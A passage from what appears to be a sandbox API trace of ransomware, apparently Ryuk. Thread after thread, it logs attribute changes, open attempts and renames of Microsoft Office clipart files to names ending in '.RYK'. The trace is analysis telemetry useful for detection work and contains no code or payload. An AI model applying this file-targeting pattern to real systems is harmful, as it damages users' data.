	[0245.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2533
	os_tid = 0x2d68

	[0245.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF", dwFileAttributes=0x80) returned 0
	[0245.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2534
	os_tid = 0x2d6c

	[0245.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF", dwFileAttributes=0x80) returned 0
	[0245.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2535
	os_tid = 0x2d70

	[0245.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF", dwFileAttributes=0x80) returned 0
	[0245.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2536
	os_tid = 0x2d74

	[0245.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF", dwFileAttributes=0x80) returned 0
	[0245.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2537
	os_tid = 0x2d78

	[0245.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF", dwFileAttributes=0x80) returned 0
	[0245.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2538
	os_tid = 0x2d7c

	[0245.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF", dwFileAttributes=0x80) returned 0
	[0245.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2539
	os_tid = 0x2d80

	[0245.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF", dwFileAttributes=0x80) returned 0
	[0245.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2540
	os_tid = 0x2d84

	[0245.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF", dwFileAttributes=0x80) returned 0
	[0245.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.338] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2541
	os_tid = 0x2d88

	[0245.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF", dwFileAttributes=0x80) returned 0
	[0245.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.849] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2542
	os_tid = 0x2d8c

	[0245.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF", dwFileAttributes=0x80) returned 0
	[0245.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2543
	os_tid = 0x2d90

	[0245.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF", dwFileAttributes=0x80) returned 0
	[0245.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2544
	os_tid = 0x2d94

	[0245.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF", dwFileAttributes=0x80) returned 0
	[0245.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2545
	os_tid = 0x2d98

	[0245.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF", dwFileAttributes=0x80) returned 0
	[0245.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2546
	os_tid = 0x2d9c

	[0245.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF", dwFileAttributes=0x80) returned 0
	[0245.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.845] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2547
	os_tid = 0x2da0

	[0245.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF", dwFileAttributes=0x80) returned 0
	[0245.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.843] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2548
	os_tid = 0x2da4

	[0245.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF", dwFileAttributes=0x80) returned 0
	[0245.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2549
	os_tid = 0x2da8

	[0245.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF", dwFileAttributes=0x80) returned 0
	[0245.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2550
	os_tid = 0x2dac

	[0245.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF", dwFileAttributes=0x80) returned 0
	[0245.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.840] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2551
	os_tid = 0x2db0

	[0245.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID", dwFileAttributes=0x80) returned 0
	[0245.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2552
	os_tid = 0x2db4

	[0245.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID", dwFileAttributes=0x80) returned 0
	[0245.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2553
	os_tid = 0x2db8

	[0245.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID", dwFileAttributes=0x80) returned 0
	[0245.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2554
	os_tid = 0x2dbc

	[0245.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID", dwFileAttributes=0x80) returned 0
	[0245.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2555
	os_tid = 0x2dc0

	[0245.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID", dwFileAttributes=0x80) returned 0
	[0245.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2563
	os_tid = 0x2de0

	[0245.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID", dwFileAttributes=0x80) returned 0
	[0245.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2564
	os_tid = 0x2de4

	[0245.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID", dwFileAttributes=0x80) returned 0
	[0245.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.529] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2565
